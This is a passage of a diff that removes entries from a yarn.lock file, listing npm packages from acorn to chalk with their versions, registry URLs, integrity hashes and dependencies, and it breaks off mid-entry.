-acorn@^8.0.4, acorn@^8.5.0: - version "8.7.1" - resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.7.1.tgz#0197122c843d1bf6d0a5e83220a788f278f63c30" - integrity sha512-Xx54uLJQZ19lKygFXOWsscKUbsBZW0CPykPhVQdhIeIwrbPmJzqeASDInc8nKBnp/JT6igTs82qPXz069H8I/A== - -acorn@^8.7.1: - version "8.8.1" - resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.8.1.tgz#0a3f9cbecc4ec3bea6f0a80b66ae8dd2da250b73" - integrity sha512-7zFpHzhnqYKrkYdUjF1HI1bzd0VygEGX8lFk4k5zVMqHEoES+P+7TKI+EvLO9WVMJ8eekdO0aDEK044xTXwPPA== - -address@^1.0.1, address@^1.1.2: - version "1.2.0" - resolved "https://registry.yarnpkg.com/address/-/address-1.2.0.tgz#d352a62c92fee90f89a693eccd2a8b2139ab02d9" - integrity sha512-tNEZYz5G/zYunxFm7sfhAxkXEuLj3K6BKwv6ZURlsF6yiUQ65z0Q2wZW9L5cPUl9ocofGvXOdFYbFHp0+6MOig== - -aggregate-error@^3.0.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/aggregate-error/-/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a" - integrity sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA== - dependencies: - clean-stack "^2.0.0" - indent-string "^4.0.0" - -ajv-formats@^2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/ajv-formats/-/ajv-formats-2.1.1.tgz#6e669400659eb74973bbf2e33327180a0996b520" - integrity sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA== - dependencies: - ajv "^8.0.0" - -ajv-keywords@^3.4.1, ajv-keywords@^3.5.2: - version "3.5.2" - resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d" - integrity sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ== - -ajv-keywords@^5.0.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz#69d4d385a4733cdbeab44964a1170a88f87f0e16" - integrity sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw== - dependencies: - fast-deep-equal "^3.1.3" - -ajv@^6.12.2, ajv@^6.12.4, ajv@^6.12.5: - version "6.12.6" - resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4" - integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g== - dependencies: - fast-deep-equal "^3.1.1" - fast-json-stable-stringify "^2.0.0" - json-schema-traverse "^0.4.1" - uri-js "^4.2.2" - -ajv@^8.0.0, ajv@^8.8.0: - version "8.11.0" - resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.11.0.tgz#977e91dd96ca669f54a11e23e378e33b884a565f" - integrity sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg== - dependencies: - fast-deep-equal "^3.1.1" - json-schema-traverse "^1.0.0" - require-from-string "^2.0.2" - uri-js "^4.2.2" - -algoliasearch-helper@^3.10.0: - version "3.11.1" - resolved "https://registry.yarnpkg.com/algoliasearch-helper/-/algoliasearch-helper-3.11.1.tgz#d83ab7f1a2a374440686ef7a144b3c288b01188a" - integrity sha512-mvsPN3eK4E0bZG0/WlWJjeqe/bUD2KOEVOl0GyL/TGXn6wcpZU8NOuztGHCUKXkyg5gq6YzUakVTmnmSSO5Yiw== - dependencies: - "@algolia/events" "^4.0.1" - -algoliasearch@^4.0.0: - version "4.14.0" - resolved "https://registry.yarnpkg.com/algoliasearch/-/algoliasearch-4.14.0.tgz#b411a6add023b0f128baa0fe4604662404f42dc2" - integrity sha512-r1rt5UQnrmqwjloi4tZzggUC7oWjNR/gfk+fjx0x4oP2UeDW5c8/XCovVFs9nwJ4n2xNKlxELyMAedcuLrBdng== - dependencies: - "@algolia/cache-browser-local-storage" "4.14.0" - "@algolia/cache-common" "4.14.0" - "@algolia/cache-in-memory" "4.14.0" - "@algolia/client-account" "4.14.0" - "@algolia/client-analytics" "4.14.0" - "@algolia/client-common" "4.14.0" - "@algolia/client-personalization" "4.14.0" - "@algolia/client-search" "4.14.0" - "@algolia/logger-common" "4.14.0" - "@algolia/logger-console" "4.14.0" - "@algolia/requester-browser-xhr" "4.14.0" - "@algolia/requester-common" "4.14.0" - "@algolia/requester-node-http" "4.14.0" - "@algolia/transporter" "4.14.0" - -algoliasearch@^4.13.1: - version "4.14.2" - resolved "https://registry.yarnpkg.com/algoliasearch/-/algoliasearch-4.14.2.tgz#63f142583bfc3a9bd3cd4a1b098bf6fe58e56f6c" - integrity sha512-ngbEQonGEmf8dyEh5f+uOIihv4176dgbuOZspiuhmTTBRBuzWu3KCGHre6uHj5YyuC7pNvQGzB6ZNJyZi0z+Sg== - dependencies: - "@algolia/cache-browser-local-storage" "4.14.2" - "@algolia/cache-common" "4.14.2" - "@algolia/cache-in-memory" "4.14.2" - "@algolia/client-account" "4.14.2" - "@algolia/client-analytics" "4.14.2" - "@algolia/client-common" "4.14.2" - "@algolia/client-personalization" "4.14.2" - "@algolia/client-search" "4.14.2" - "@algolia/logger-common" "4.14.2" - "@algolia/logger-console" "4.14.2" - "@algolia/requester-browser-xhr" "4.14.2" - "@algolia/requester-common" "4.14.2" - "@algolia/requester-node-http" "4.14.2" - "@algolia/transporter" "4.14.2" - -ansi-align@^3.0.0, ansi-align@^3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/ansi-align/-/ansi-align-3.0.1.tgz#0cdf12e111ace773a86e9a1fad1225c43cb19a59" - integrity sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w== - dependencies: - string-width "^4.1.0" - -ansi-html-community@^0.0.8: - version "0.0.8" - resolved "https://registry.yarnpkg.com/ansi-html-community/-/ansi-html-community-0.0.8.tgz#69fbc4d6ccbe383f9736934ae34c3f8290f1bf41" - integrity sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw== - -ansi-regex@^5.0.1, ansi-regex@^6.0.1: - version "5.0.1" - resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304" - integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ== - -ansi-styles@^3.2.1: - version "3.2.1" - resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d" - integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA== - dependencies: - color-convert "^1.9.0" - -ansi-styles@^4.0.0, ansi-styles@^4.1.0: - version "4.3.0" - resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937" - integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg== - dependencies: - color-convert "^2.0.1" - -ansi-styles@^6.1.0: - version "6.1.0" - resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-6.1.0.tgz#87313c102b8118abd57371afab34618bf7350ed3" - integrity sha512-VbqNsoz55SYGczauuup0MFUyXNQviSpFTj1RQtFzmQLk18qbVSpTFFGMT293rmDaQuKCT6InmbuEyUne4mTuxQ== - -anymatch@~3.1.2: - version "3.1.2" - resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.2.tgz#c0557c096af32f106198f4f4e2a383537e378716" - integrity sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg== - dependencies: - normalize-path "^3.0.0" - picomatch "^2.0.4" - -arg@^5.0.0: - version "5.0.2" - resolved "https://registry.yarnpkg.com/arg/-/arg-5.0.2.tgz#c81433cc427c92c4dcf4865142dbca6f15acd59c" - integrity sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg== - -argparse@^1.0.7: - version "1.0.10" - resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911" - integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg== - dependencies: - sprintf-js "~1.0.2" - -argparse@^2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38" - integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q== - -array-flatten@1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2" - integrity sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg== - -array-flatten@^2.1.2: - version "2.1.2" - resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-2.1.2.tgz#24ef80a28c1a893617e2149b0c6d0d788293b099" - integrity sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ== - -array-union@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d" - integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw== - -asap@~2.0.3: - version "2.0.6" - resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46" - integrity sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA== - -at-least-node@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/at-least-node/-/at-least-node-1.0.0.tgz#602cd4b46e844ad4effc92a8011a3c46e0238dc2" - integrity sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg== - -autoprefixer@^10.4.12, autoprefixer@^10.4.7: - version "10.4.13" - resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-10.4.13.tgz#b5136b59930209a321e9fa3dca2e7c4d223e83a8" - integrity sha512-49vKpMqcZYsJjwotvt4+h/BCjJVnhGwcLpDt5xkcaOG3eLrG/HUYLagrihYsQ+qrIBgIzX1Rw7a6L8I/ZA1Atg== - dependencies: - browserslist "^4.21.4" - caniuse-lite "^1.0.30001426" - fraction.js "^4.2.0" - normalize-range "^0.1.2" - picocolors "^1.0.0" - postcss-value-parser "^4.2.0" - -axios@^0.25.0: - version "0.25.0" - resolved "https://registry.yarnpkg.com/axios/-/axios-0.25.0.tgz#349cfbb31331a9b4453190791760a8d35b093e0a" - integrity sha512-cD8FOb0tRH3uuEe6+evtAbgJtfxr7ly3fQjYcMcuPlgkwVS9xboaVIpcDV+cYQe+yGykgwZCs1pzjntcGa6l5g== - dependencies: - follow-redirects "^1.14.7" - -babel-loader@^8.2.5: - version "8.3.0" - resolved "https://registry.yarnpkg.com/babel-loader/-/babel-loader-8.3.0.tgz#124936e841ba4fe8176786d6ff28add1f134d6a8" - integrity sha512-H8SvsMF+m9t15HNLMipppzkC+Y2Yq+v3SonZyU70RBL/h1gxPkH08Ot8pEE9Z4Kd+czyWJClmFS8qzIP9OZ04Q== - dependencies: - find-cache-dir "^3.3.1" - loader-utils "^2.0.0" - make-dir "^3.1.0" - schema-utils "^2.6.5" - -babel-plugin-apply-mdx-type-prop@1.6.22: - version "1.6.22" - resolved "https://registry.yarnpkg.com/babel-plugin-apply-mdx-type-prop/-/babel-plugin-apply-mdx-type-prop-1.6.22.tgz#d216e8fd0de91de3f1478ef3231e05446bc8705b" - integrity sha512-VefL+8o+F/DfK24lPZMtJctrCVOfgbqLAGZSkxwhazQv4VxPg3Za/i40fu22KR2m8eEda+IfSOlPLUSIiLcnCQ== - dependencies: - "@babel/helper-plugin-utils" "7.10.4" - "@mdx-js/util" "1.6.22" - -babel-plugin-dynamic-import-node@^2.3.3: - version "2.3.3" - resolved "https://registry.yarnpkg.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz#84fda19c976ec5c6defef57f9427b3def66e17a3" - integrity sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ== - dependencies: - object.assign "^4.1.0" - -babel-plugin-extract-import-names@1.6.22: - version "1.6.22" - resolved "https://registry.yarnpkg.com/babel-plugin-extract-import-names/-/babel-plugin-extract-import-names-1.6.22.tgz#de5f9a28eb12f3eb2578bf74472204e66d1a13dc" - integrity sha512-yJ9BsJaISua7d8zNT7oRG1ZLBJCIdZ4PZqmH8qa9N5AK01ifk3fnkc98AXhtzE7UkfCsEumvoQWgoYLhOnJ7jQ== - dependencies: - "@babel/helper-plugin-utils" "7.10.4" - -babel-plugin-polyfill-corejs2@^0.3.1: - version "0.3.1" - resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.1.tgz#440f1b70ccfaabc6b676d196239b138f8a2cfba5" - integrity sha512-v7/T6EQcNfVLfcN2X8Lulb7DjprieyLWJK/zOWH5DUYcAgex9sP3h25Q+DLsX9TloXe3y1O8l2q2Jv9q8UVB9w== - dependencies: - "@babel/compat-data" "^7.13.11" - "@babel/helper-define-polyfill-provider" "^0.3.1" - semver "^6.1.1" - -babel-plugin-polyfill-corejs2@^0.3.3: - version "0.3.3" - resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.3.tgz#5d1bd3836d0a19e1b84bbf2d9640ccb6f951c122" - integrity sha512-8hOdmFYFSZhqg2C/JgLUQ+t52o5nirNwaWM2B9LWteozwIvM14VSwdsCAUET10qT+kmySAlseadmfeeSWFCy+Q== - dependencies: - "@babel/compat-data" "^7.17.7" - "@babel/helper-define-polyfill-provider" "^0.3.3" - semver "^6.1.1" - -babel-plugin-polyfill-corejs3@^0.5.2: - version "0.5.2" - resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.5.2.tgz#aabe4b2fa04a6e038b688c5e55d44e78cd3a5f72" - integrity sha512-G3uJih0XWiID451fpeFaYGVuxHEjzKTHtc9uGFEjR6hHrvNzeS/PX+LLLcetJcytsB5m4j+K3o/EpXJNb/5IEQ== - dependencies: - "@babel/helper-define-polyfill-provider" "^0.3.1" - core-js-compat "^3.21.0" - -babel-plugin-polyfill-corejs3@^0.6.0: - version "0.6.0" - resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.6.0.tgz#56ad88237137eade485a71b52f72dbed57c6230a" - integrity sha512-+eHqR6OPcBhJOGgsIar7xoAB1GcSwVUA3XjAd7HJNzOXT4wv6/H7KIdA/Nc60cvUlDbKApmqNvD1B1bzOt4nyA== - dependencies: - "@babel/helper-define-polyfill-provider" "^0.3.3" - core-js-compat "^3.25.1" - -babel-plugin-polyfill-regenerator@^0.3.1: - version "0.3.1" - resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.3.1.tgz#2c0678ea47c75c8cc2fbb1852278d8fb68233990" - integrity sha512-Y2B06tvgHYt1x0yz17jGkGeeMr5FeKUu+ASJ+N6nB5lQ8Dapfg42i0OVrf8PNGJ3zKL4A23snMi1IRwrqqND7A== - dependencies: - "@babel/helper-define-polyfill-provider" "^0.3.1" - -babel-plugin-polyfill-regenerator@^0.4.1: - version "0.4.1" - resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.1.tgz#390f91c38d90473592ed43351e801a9d3e0fd747" - integrity sha512-NtQGmyQDXjQqQ+IzRkBVwEOz9lQ4zxAQZgoAYEtU9dJjnl1Oc98qnN7jcp+bE7O7aYzVpavXE3/VKXNzUbh7aw== - dependencies: - "@babel/helper-define-polyfill-provider" "^0.3.3" - -bail@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/bail/-/bail-1.0.5.tgz#b6fa133404a392cbc1f8c4bf63f5953351e7a776" - integrity sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ== - -balanced-match@^1.0.0: - version "1.0.2" - resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee" - integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw== - -base16@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/base16/-/base16-1.0.0.tgz#e297f60d7ec1014a7a971a39ebc8a98c0b681e70" - integrity sha512-pNdYkNPiJUnEhnfXV56+sQy8+AaPcG3POZAUnwr4EeqCUZFz4u2PePbo3e5Gj4ziYPCWGUZT9RHisvJKnwFuBQ== - -batch@0.6.1: - version "0.6.1" - resolved "https://registry.yarnpkg.com/batch/-/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16" - integrity sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw== - -big.js@^5.2.2: - version "5.2.2" - resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328" - integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ== - -binary-extensions@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d" - integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA== - -body-parser@1.20.0: - version "1.20.0" - resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.0.tgz#3de69bd89011c11573d7bfee6a64f11b6bd27cc5" - integrity sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg== - dependencies: - bytes "3.1.2" - content-type "~1.0.4" - debug "2.6.9" - depd "2.0.0" - destroy "1.2.0" - http-errors "2.0.0" - iconv-lite "0.4.24" - on-finished "2.4.1" - qs "6.10.3" - raw-body "2.5.1" - type-is "~1.6.18" - unpipe "1.0.0" - -bonjour-service@^1.0.11: - version "1.0.13" - resolved "https://registry.yarnpkg.com/bonjour-service/-/bonjour-service-1.0.13.tgz#4ac003dc1626023252d58adf2946f57e5da450c1" - integrity sha512-LWKRU/7EqDUC9CTAQtuZl5HzBALoCYwtLhffW3et7vZMwv3bWLpJf8bRYlMD5OCcDpTfnPgNCV4yo9ZIaJGMiA== - dependencies: - array-flatten "^2.1.2" - dns-equal "^1.0.0" - fast-deep-equal "^3.1.3" - multicast-dns "^7.2.5" - -boolbase@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e" - integrity sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww== - -boxen@^5.0.0: - version "5.1.2" - resolved "https://registry.yarnpkg.com/boxen/-/boxen-5.1.2.tgz#788cb686fc83c1f486dfa8a40c68fc2b831d2b50" - integrity sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ== - dependencies: - ansi-align "^3.0.0" - camelcase "^6.2.0" - chalk "^4.1.0" - cli-boxes "^2.2.1" - string-width "^4.2.2" - type-fest "^0.20.2" - widest-line "^3.1.0" - wrap-ansi "^7.0.0" - -boxen@^6.2.1: - version "6.2.1" - resolved "https://registry.yarnpkg.com/boxen/-/boxen-6.2.1.tgz#b098a2278b2cd2845deef2dff2efc38d329b434d" - integrity sha512-H4PEsJXfFI/Pt8sjDWbHlQPx4zL/bvSQjcilJmaulGt5mLDorHOHpmdXAJcBcmru7PhYSp/cDMWRko4ZUMFkSw== - dependencies: - ansi-align "^3.0.1" - camelcase "^6.2.0" - chalk "^4.1.2" - cli-boxes "^3.0.0" - string-width "^5.0.1" - type-fest "^2.5.0" - widest-line "^4.0.1" - wrap-ansi "^8.0.1" - -brace-expansion@^1.1.7: - version "1.1.13" - resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.13.tgz#d37875c01dc9eff988dd49d112a57cb67b54efe6" - integrity sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w== - dependencies: - balanced-match "^1.0.0" - concat-map "0.0.1" - -braces@^3.0.2, braces@~3.0.2: - version "3.0.3" - resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789" - integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA== - dependencies: - fill-range "^7.1.1" - -browserslist@^4.0.0, browserslist@^4.14.5, browserslist@^4.16.5, browserslist@^4.16.6, browserslist@^4.18.1, browserslist@^4.20.2, browserslist@^4.21.2, browserslist@^4.21.3, browserslist@^4.21.4: - version "4.21.2" - resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.21.2.tgz#59a400757465535954946a400b841ed37e2b4ecf" - integrity sha512-MonuOgAtUB46uP5CezYbRaYKBNt2LxP0yX+Pmj4LkcDFGkn9Cbpi83d9sCjwQDErXsIJSzY5oKGDbgOlF/LPAA== - dependencies: - caniuse-lite "^1.0.30001366" - electron-to-chromium "^1.4.188" - node-releases "^2.0.6" - update-browserslist-db "^1.0.4" - -buffer-from@^1.0.0: - version "1.1.2" - resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.2.tgz#2b146a6fd72e80b4f55d255f35ed59a3a9a41bd5" - integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ== - -bytes@3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048" - integrity sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw== - -bytes@3.1.2: - version "3.1.2" - resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.2.tgz#8b0beeb98605adf1b128fa4386403c009e0221a5" - integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg== - -cacheable-lookup@^5.0.3: - version "5.0.4" - resolved "https://registry.yarnpkg.com/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz#5a6b865b2c44357be3d5ebc2a467b032719a7005" - integrity sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA== - -cacheable-request@^7.0.2: - version "7.0.2" - resolved "https://registry.yarnpkg.com/cacheable-request/-/cacheable-request-7.0.2.tgz#ea0d0b889364a25854757301ca12b2da77f91d27" - integrity sha512-pouW8/FmiPQbuGpkXQ9BAPv/Mo5xDGANgSNXzTzJ8DrKGuXOssM4wIQRjfanNRh3Yu5cfYPvcorqbhg2KIJtew== - dependencies: - clone-response "^1.0.2" - get-stream "^5.1.0" - http-cache-semantics "^4.0.0" - keyv "^4.0.0" - lowercase-keys "^2.0.0" - normalize-url "^6.0.1" - responselike "^2.0.0" - -call-bind@^1.0.0: - version "1.0.2" - resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c" - integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA== - dependencies: - function-bind "^1.1.1" - get-intrinsic "^1.0.2" - -callsites@^3.0.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73" - integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ== - -camel-case@^4.1.2: - version "4.1.2" - resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a" - integrity sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw== - dependencies: - pascal-case "^3.1.2" - tslib "^2.0.3" - -camelcase-css@2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/camelcase-css/-/camelcase-css-2.0.1.tgz#ee978f6947914cc30c6b44741b6ed1df7f043fd5" - integrity sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA== - -camelcase@^6.2.0: - version "6.3.0" - resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.3.0.tgz#5685b95eb209ac9c0c177467778c9c84df58ba9a" - integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA== - -caniuse-api@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/caniuse-api/-/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0" - integrity sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw== - dependencies: - browserslist "^4.0.0" - caniuse-lite "^1.0.0" - lodash.memoize "^4.1.2" - lodash.uniq "^4.5.0" - -caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001366, caniuse-lite@^1.0.30001426, caniuse-lite@^1.0.30001667: - version "1.0.30001667" - resolved "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001667.tgz" - integrity sha512-7LTwJjcRkzKFmtqGsibMeuXmvFDfZq/nzIjnmgCGzKKRVzjD72selLDK1oPF/Oxzmt4fNcPvTDvGqSDG4tCALw== - -ccount@^1.0.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/ccount/-/ccount-1.1.0.tgz#246687debb6014735131be8abab2d93898f8d043" - integrity sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg== - -chalk@^2.0.0, chalk@^2.4.2: - version "2.4.2" - resolved 